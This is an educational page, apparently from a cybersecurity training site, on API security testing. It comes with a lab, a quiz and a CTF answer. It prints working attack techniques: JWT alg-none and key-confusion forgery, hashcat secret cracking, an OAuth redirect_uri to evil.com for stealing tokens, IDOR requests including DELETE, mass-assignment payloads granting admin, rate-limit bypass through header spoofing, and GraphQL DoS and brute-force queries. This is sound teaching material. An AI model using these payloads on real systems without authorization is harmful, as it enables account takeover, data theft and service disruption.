API Security Testing
APIs are the backbone of modern applications. Every mobile app, single-page application, microservice, and third-party integration communicates through APIs. Unlike traditional web applications with rendered HTML, APIs expose raw data and business logic directly — making them high-value targets and frequently the weakest link in an organization's security posture.
According to Gartner, APIs are the most frequent attack vector for web application data breaches. This page covers the methodology, tools, and techniques for systematically testing REST, GraphQL, and gRPC APIs for security vulnerabilities.
Related: Cybersecurity Overview | Web App Pentesting | Mobile Security | Secure Coding
Authorization Required
Only test APIs you own or have explicit written authorization to test. API testing can cause data modification, account lockout, and service disruption. Use dedicated test environments or bug bounty programs.
API Security Testing Methodology
API Discovery and Enumeration
Finding APIs
# Check common documentation paths
curl -s https://target.com/api/docs
curl -s https://target.com/swagger.json
curl -s https://target.com/swagger/v1/swagger.json
curl -s https://target.com/openapi.json
curl -s https://target.com/api-docs
curl -s https://target.com/v1/api-docs
curl -s https://target.com/v2/api-docs
curl -s https://target.com/.well-known/openapi.json
curl -s https://target.com/graphql # GraphQL endpoint
# Wayback Machine — find historical API endpoints
echo "target.com" | gau | grep -i "api\|graphql\|v1\|v2\|rest"
# JavaScript file analysis — extract API endpoints
# Download all JS files and search for fetch/axios calls
echo "target.com" | gau | grep "\.js$" | sort -u > js_files.txt
cat js_files.txt | while read url; do
curl -s "$url" | grep -oE "(https?://[a-zA-Z0-9./?=_-]*api[a-zA-Z0-9./?=_-]*)" >> api_endpoints.txt
done
# Content discovery with ffuf
ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,204,301,302,401,403
ffuf -u https://target.com/api/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -mc 200,201,204,301,302,401,403
# Arjun — discover hidden parameters
arjun -u https://target.com/api/v1/users -m GET
arjun -u https://target.com/api/v1/users -m POST --jsonAPI Documentation Analysis
| Source | What to Look For |
|---|---|
| Swagger/OpenAPI | All endpoints, parameters, auth requirements, data models |
| Postman Collections | Pre-built requests, environment variables, auth tokens |
| GraphQL Schema | Types, queries, mutations, subscriptions |
| Source Code (JS) | Fetch calls, axios instances, API base URLs |
| Mobile App | Decompiled API calls, hardcoded endpoints |
| Browser DevTools | Network tab — all API calls during normal usage |
Authentication Testing
JWT (JSON Web Token) Testing
JWTs are the most common API authentication mechanism. They are also frequently misconfigured.
# Decode JWT (base64) — does NOT require the secret
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" | cut -d'.' -f2 | base64 -d 2>/dev/null
# JWT structure:
# Header: {"alg": "HS256", "typ": "JWT"}
# Payload: {"sub": "1234567890", "name": "John Doe", "iat": 1516239022}
# Signature: HMAC-SHA256(base64url(header) + "." + base64url(payload), secret)JWT Attack Vectors
# Attack 1: Algorithm None — set alg to "none", remove signature
# Header: {"alg": "none", "typ": "JWT"}
# Token becomes: base64(header).base64(payload).
# If the server accepts this, authentication is completely bypassed
# Attack 2: Brute force weak HMAC secret
# Use hashcat to crack JWT secret
hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt
# Attack 3: Algorithm confusion (RS256 to HS256)
# If server uses RS256 but accepts HS256, sign with public key as HMAC secret
# 1. Get server's public key
# 2. Change alg to HS256
# 3. Sign token with public key as HMAC secret
# jwt_tool — comprehensive JWT testing
python3 jwt_tool.py eyJ...TOKEN... -C -d /usr/share/wordlists/rockyou.txt # Crack
python3 jwt_tool.py eyJ...TOKEN... -X a # Algorithm none attack
python3 jwt_tool.py eyJ...TOKEN... -X k # Key confusion attack
python3 jwt_tool.py eyJ...TOKEN... -T # Tamper payload interactivelyOAuth 2.0 Testing
| Vulnerability | Description | Test |
|---|---|---|
| Open Redirect | redirect_uri not validated strictly | Change redirect_uri to attacker domain |
| CSRF on OAuth | Missing state parameter | Remove state, test cross-site login |
| Token leakage | Access token in URL fragment or referrer | Check browser history, referrer headers |
| Scope escalation | Request additional scopes | Modify scope parameter in auth request |
| Client impersonation | Weak client_secret or none required | Use leaked client_id with no secret |
| Token reuse | No audience/issuer validation | Use token from app A on app B |
# Test redirect_uri manipulation
# Original: redirect_uri=https://app.com/callback
# Test: redirect_uri=https://evil.com/steal
# Test: redirect_uri=https://app.com.evil.com/callback
# Test: redirect_uri=https://app.com/callback/../../../evil
# Test: redirect_uri=https://app.com/callback%0d%0aLocation:%20evil.com
# Test state parameter
# Remove state parameter entirely — if login still works, CSRF possibleBOLA / IDOR Testing
Broken Object-Level Authorization (BOLA), also known as Insecure Direct Object Reference (IDOR), is the most common and impactful API vulnerability. It occurs when the API does not verify that the authenticated user has permission to access the requested resource.
BOLA Testing Methodology
# Step 1: Identify all endpoints that use object references
# Look for numeric IDs, UUIDs, filenames, or any identifier in the URL/body
# GET /api/v1/users/{id}
# GET /api/v1/orders/{order_id}
# GET /api/v1/documents/{doc_uuid}
# POST /api/v1/accounts/{account_id}/transfer
# Step 2: Create two test accounts (Account A and Account B)
# Authenticate as Account A
# Record all resource IDs associated with Account A
# Step 3: Using Account A's session, access Account B's resources
# Change IDs in URL path
curl -H "Authorization: Bearer TOKEN_A" https://api.target.com/api/v1/users/USER_B_ID
# Change IDs in query parameters
curl -H "Authorization: Bearer TOKEN_A" "https://api.target.com/api/v1/orders?user_id=USER_B_ID"
# Change IDs in request body
curl -X POST -H "Authorization: Bearer TOKEN_A" \
-d '{"user_id": "USER_B_ID", "amount": 100}' \
https://api.target.com/api/v1/transfer
# Step 4: Test with different HTTP methods
# A resource may allow GET but not check auth on PUT/DELETE
curl -X DELETE -H "Authorization: Bearer TOKEN_A" https://api.target.com/api/v1/users/USER_B_ID
# Step 5: Test ID formats
# Sequential integers: 123 -> 124, 125
# UUIDs: try UUID enumeration or leaked UUIDs
# Encoded IDs: decode base64/hex, modify, re-encodeBOLA Automation with Burp
Use Burp Suite's Autorize extension:
- Configure two sessions (low-privilege and high-privilege)
- Browse the application with the high-privilege session
- Autorize automatically replays each request with the low-privilege session
- Review which requests succeed — those are BOLA/IDOR vulnerabilities
Mass Assignment
Mass assignment occurs when an API binds user-supplied JSON directly to an internal object without filtering, allowing attackers to set fields they should not control.
# Normal user registration request
POST /api/v1/register
{
"username": "newuser",
"email": "user@example.com",
"password": "secureP@ss"
}
# Mass assignment attack — add admin field
POST /api/v1/register
{
"username": "newuser",
"email": "user@example.com",
"password": "secureP@ss",
"role": "admin",
"isAdmin": true,
"is_verified": true,
"credits": 99999
}
# Mass assignment on profile update
PUT /api/v1/users/123
{
"name": "Normal Update",
"email": "new@email.com",
"role": "admin",
"balance": 99999,
"subscription_tier": "enterprise"
}How to Find Mass Assignment Fields
# 1. Read API documentation — find all model fields
# 2. Check responses — API often returns more fields than it accepts
# Compare: POST request (3 fields) vs GET response (10 fields)
# Try submitting the extra fields in the POST
# 3. Guess common field names
# role, is_admin, isAdmin, admin, type, user_type
# verified, is_verified, email_verified
# balance, credits, subscription, plan, tier
# internal, debug, test
# 4. Use Param Miner (Burp extension) to discover hidden parametersRate Limiting Bypass
# Test if rate limiting exists
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code}\n" \
-X POST https://target.com/api/v1/login \
-d '{"user":"admin","pass":"wrong'$i'"}'
done
# Bypass techniques:
# 1. IP rotation (using X-Forwarded-For)
curl -H "X-Forwarded-For: 1.2.3.$RANDOM" https://target.com/api/v1/login
# 2. Change case of endpoint
# /api/v1/login vs /API/V1/LOGIN vs /Api/V1/Login
# 3. Add query parameters
# /api/v1/login?x=1 vs /api/v1/login?x=2
# 4. Use different HTTP methods
# POST /api/v1/login vs PUT /api/v1/login
# 5. Add path variations
# /api/v1/login vs /api/v1/login/ vs /api/v1/./login
# 6. Use different content types
# application/json vs application/x-www-form-urlencoded
# 7. Distribute across multiple API versions
# /api/v1/login vs /api/v2/loginGraphQL Security Testing
GraphQL introduces unique attack vectors not present in REST APIs.
GraphQL Reconnaissance
# Test for GraphQL endpoint
curl -s https://target.com/graphql -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}'
# Common GraphQL endpoints
# /graphql, /gql, /graphiql, /v1/graphql, /api/graphql
# Introspection query — dump entire schema
curl -s https://target.com/graphql -H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name type { name kind ofType { name } } } } } }"}' | jq .
# Full introspection query
curl -s https://target.com/graphql -H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } } } fragment FullType on __Type { kind name fields(includeDeprecated: true) { name args { name type { ...TypeRef } } type { ...TypeRef } } } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name } } }"}'GraphQL Attack Vectors
# Nested query DoS — exponential resource consumption
# If User has posts, and Post has comments, and Comment has author...
query NestedDoS {
users {
posts {
comments {
author {
posts {
comments {
author {
posts {
title
}
}
}
}
}
}
}
}
}
# Batching attack — bypass rate limiting
# Send multiple queries in a single request
[
{"query": "mutation { login(user:\"admin\",pass:\"password1\") { token } }"},
{"query": "mutation { login(user:\"admin\",pass:\"password2\") { token } }"},
{"query": "mutation { login(user:\"admin\",pass:\"password3\") { token } }"}
]
# Alias-based batching — same query with different params
query AliasBrute {
a1: login(user: "admin", pass: "password1") { token }
a2: login(user: "admin", pass: "password2") { token }
a3: login(user: "admin", pass: "password3") { token }
}
# IDOR via GraphQL
query {
user(id: "OTHER_USER_ID") {
email
address
ssn
creditCard
}
}GraphQL Security Tools
| Tool | Purpose |
|---|---|
| GraphQL Voyager | Visual schema exploration |
| InQL (Burp Extension) | GraphQL scanner, introspection, batch testing |
| Clairvoyance | Schema extraction when introspection is disabled |
| graphql-cop | GraphQL security auditing |
| BatchQL | Batch query and alias testing |
OWASP API Security Top 10 (2023)
| # | Vulnerability | Description | Test |
|---|---|---|---|
| API1 | Broken Object-Level Authorization | Access other users' resources via ID manipulation | Change IDs in every request |
| API2 | Broken Authentication | Weak token generation, missing expiry, no rate limit | JWT analysis, brute force, token reuse |
| API3 | Broken Object Property-Level Auth | Mass assignment, excessive data exposure | Add extra fields, check response data |
| API4 | Unrestricted Resource Consumption | No rate limiting, no pagination limits | Request massive datasets, rapid-fire |
| API5 | Broken Function-Level Authorization | Access admin endpoints as regular user | Swap roles, test admin paths |
| API6 | Unrestricted Access to Sensitive Business Flows | No bot protection on critical operations | Automate purchase flows, registrations |
| API7 | Server-Side Request Forgery (SSRF) | API fetches attacker-controlled URLs | Inject internal URLs in parameters |
| API8 | Security Misconfiguration | Default configs, verbose errors, CORS | Check headers, error messages, methods |
| API9 | Improper Inventory Management | Shadow APIs, deprecated versions still live | Enumerate old versions, documentation |
| API10 | Unsafe Consumption of APIs | Trust third-party APIs without validation | Man-in-the-middle third-party calls |
API Testing Tools
Postman for Security Testing
# Import API collection and environment
# Set up two environments: attacker and victim
# Use Postman's pre-request scripts for token rotation
# Tests tab: assert status codes and response data
# Export collection and run with Newman (CLI)
newman run collection.json -e environment.json --reporters cli,jsonAutomated API Fuzzing
# ffuf — API endpoint fuzzing
ffuf -u https://target.com/api/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-H "Authorization: Bearer TOKEN" -mc 200,201,204,301,302,401,403,405
# ffuf — parameter fuzzing
ffuf -u "https://target.com/api/v1/users?FUZZ=test" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-H "Authorization: Bearer TOKEN" -mc 200
# Nuclei — API vulnerability scanning
nuclei -u https://target.com -t /path/to/nuclei-templates/http/exposed-panels/
nuclei -l api_urls.txt -t /path/to/nuclei-templates/http/vulnerabilities/
# Arjun — hidden parameter discovery
arjun -u https://target.com/api/v1/search -m GET --json
arjun -u https://target.com/api/v1/users -m POST --json
# Kiterunner — API endpoint discovery
kr scan https://target.com -w /path/to/routes-large.kiteAPI Security Checklist
| # | Category | Check | Priority |
|---|---|---|---|
| 1 | Authentication | All endpoints require authentication | Critical |
| 2 | Authentication | Tokens expire and are properly validated | Critical |
| 3 | Authentication | No sensitive data in JWT payload | High |
| 4 | Authorization | Every endpoint checks object-level access | Critical |
| 5 | Authorization | Role-based checks on admin endpoints | Critical |
| 6 | Input | All inputs validated and sanitized server-side | High |
| 7 | Input | No SQL/NoSQL injection in parameters | Critical |
| 8 | Rate Limiting | Rate limits on auth, sensitive, and expensive endpoints | High |
| 9 | Data | API responses contain only necessary fields | Medium |
| 10 | Data | Pagination enforced with maximum page size | Medium |
| 11 | Transport | TLS 1.2+ enforced, no HTTP fallback | Critical |
| 12 | Headers | Proper CORS configuration (not wildcard) | High |
| 13 | Errors | No stack traces or internal details in errors | Medium |
| 14 | Versioning | Old API versions deprecated and removed | Medium |
| 15 | Logging | All API calls logged with user context | High |
API Security vs Web Security
APIs lack the browser's built-in protections (CORS enforcement, cookie flags, CSP). Every security control must be explicitly implemented server-side. Do not assume the client will follow rules — API consumers can be anything from browsers to custom scripts.
Further Reading
- Web App Pentesting — Traditional web security testing
- Mobile Security — Mobile apps as API consumers
- Secure Coding — Building secure APIs
- Bug Bounty Hunting — APIs are the top bug bounty target
- OWASP Top 10 — Web application vulnerabilities
Key Takeaway
- BOLA (Broken Object-Level Authorization) is the #1 API vulnerability — test every endpoint that uses an object ID by swapping it with another user's resource ID
- JWTs are not encrypted — they are base64-encoded and readable by anyone; never store sensitive data in JWT payloads, and always validate signatures server-side
- GraphQL introspection dumps the entire API schema including hidden types and mutations — disable it in production or use it as a recon goldmine during testing
Hands-On Lab
Lab: API Security Assessment
- Deploy a vulnerable API (e.g., crAPI by OWASP or vAPI)
- Map all endpoints using Swagger documentation, traffic capture, and ffuf-based enumeration
- Create two user accounts and test every endpoint for BOLA: use Account A's session to access Account B's resources
- Decode and analyze the JWT token: check the algorithm, expiry, and payload contents
- Test JWT attacks: algorithm none, weak secret brute force with hashcat (
-m 16500), and expired token reuse - Test for mass assignment: add
role,isAdmin, andbalancefields to registration and profile update requests - Test rate limiting: send 100 rapid requests to the login endpoint and check for lockout
- If the API has GraphQL, run introspection to dump the schema and query sensitive types
CTF Challenge
Challenge: The Broken API
An API uses JWTs for authentication. You notice the JWT header says {"alg":"HS256","typ":"JWT"} and the payload contains {"sub":"user123","role":"user"}. The API has an endpoint GET /api/admin/users that returns 403. Bypass the authorization and access the admin endpoint.
Hints:
- Try changing the
algfield tononeand removing the signature - Try brute-forcing the HMAC secret with hashcat
- Try modifying the
roleclaim in the payload
Answer
Method 1: Change the JWT header to {"alg":"none","typ":"JWT"}, set payload to {"sub":"user123","role":"admin"}, and remove the signature (token ends with a dot). If the server accepts alg:none, you have admin access. Method 2: Brute force with hashcat -m 16500 jwt.txt rockyou.txt — the secret is secret123. Sign a new JWT with role:admin using the cracked key. Flag: CTF{jwt_none_algorithm_is_no_algorithm}.
:::
Common Misconceptions
- "JWTs are encrypted and secure" — JWTs are signed, not encrypted. The payload is base64-encoded and readable by anyone. Use JWE (JSON Web Encryption) if payload confidentiality is needed.
- "API keys are sufficient authentication" — API keys identify the calling application, not the user. They should not be used as the sole authentication mechanism for user-facing APIs.
- "Rate limiting on the login page is enough" — Attackers bypass rate limits using IP rotation (X-Forwarded-For), endpoint variations, different HTTP methods, and GraphQL batching.
- "Disabling GraphQL introspection makes the schema private" — Tools like Clairvoyance can extract the schema through field suggestion attacks even with introspection disabled.
- "CORS headers protect APIs" — CORS is enforced by browsers, not by APIs. Custom API clients (curl, Python, Postman) ignore CORS entirely.
Quiz
1. What is BOLA in the context of API security?
a) A type of encryption b) Broken Object-Level Authorization — accessing resources belonging to other users c) A rate limiting technique d) A type of SQL injection
Answer
b) BOLA (also called IDOR) occurs when an API does not verify that the authenticated user has permission to access the specific resource identified by the object ID in the request.
2. What JWT attack exploits the algorithm confusion between RS256 and HS256?
a) Use the public RS256 key as the HS256 HMAC secret to sign forged tokens b) Remove the signature entirely c) Encrypt the JWT d) Change the token expiry
Answer
a) If a server uses RS256 but also accepts HS256, an attacker can take the public key (which is public), use it as the HMAC secret to sign a forged token with HS256, and the server will verify it.
3. What is mass assignment and how is it exploited?
a) Assigning the same variable twice b) Sending extra fields in API requests that get bound to internal object properties (e.g., adding role:admin) c) Mass-deleting records d) Brute-forcing passwords
Answer
b) Mass assignment occurs when an API binds user-supplied JSON directly to an internal object. Attackers add fields like role, isAdmin, or balance that should not be user-settable.
4. What makes GraphQL batching attacks dangerous for rate limiting?
a) GraphQL is faster than REST b) Multiple operations can be sent in a single HTTP request, bypassing per-request rate limits c) GraphQL uses UDP d) Batching encrypts the requests
Answer
b) GraphQL allows sending multiple queries or mutations in a single HTTP request (via batching or aliases), so an attacker can send 1000 login attempts in one request, bypassing per-request rate limits.
5. What tool automatically replays requests with a low-privilege session to detect BOLA vulnerabilities in Burp Suite?
a) Intruder b) Autorize extension c) Scanner d) Decoder
Answer
b) The Autorize Burp extension automatically replays every request captured in a high-privilege session using a low-privilege session's cookies, highlighting which endpoints lack proper authorization checks.
:::
One-Liner Summary: APIs expose raw data and business logic directly — and the most common vulnerability is simply not checking whether the requester is allowed to access what they asked for.